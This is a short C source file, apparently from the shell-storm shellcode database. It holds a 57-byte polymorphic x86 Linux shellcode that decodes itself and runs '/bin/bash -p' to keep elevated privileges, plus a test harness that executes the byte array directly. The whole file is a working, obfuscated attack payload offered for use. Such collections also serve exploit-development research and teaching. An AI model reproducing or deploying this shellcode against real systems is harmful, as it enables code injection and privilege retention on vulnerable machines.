/*

Title: 	Linux x86 - polymorphic execve("/bin/bash", ["/bin/bash", "-p"], NULL) - 57 bytes
Author:	Jonathan Salwan
Mail:	submit@shell-storm.org
Web:	http://www.shell-storm.org

!Database of Shellcodes http://www.shell-storm.org/shellcode/


sh sets (euid, egid) to (uid, gid) if -p not supplied and uid < 100
Read more: http://www.faqs.org/faqs/unix-faq/shell/bash/#ixzz0mzPmJC49

Based in http://www.shell-storm.org/shellcode/files/shellcode-606.php
*/

#include <stdio.h>

char shellcode[] = "\xeb\x11\x5e\x31\xc9\xb1\x21\x80"
		   "\x6c\x0e\xff\x01\x80\xe9\x01\x75"
  		   "\xf6\xeb\x05\xe8\xea\xff\xff\xff"
		   "\x6b\x0c\x59\x9a\x53\x67\x69\x2e"
		   "\x71\x8a\xe2\x53\x6b\x69\x69\x30"
		   "\x63\x62\x74\x69\x30\x63\x6a\x6f"
		   "\x8a\xe4\x53\x52\x54\x8a\xe2\xce"
		   "\x81";

int main(int argc, char *argv[])
{
       	fprintf(stdout,"Length: %d\n",strlen(shellcode));
	(*(void(*)()) shellcode)();       
}





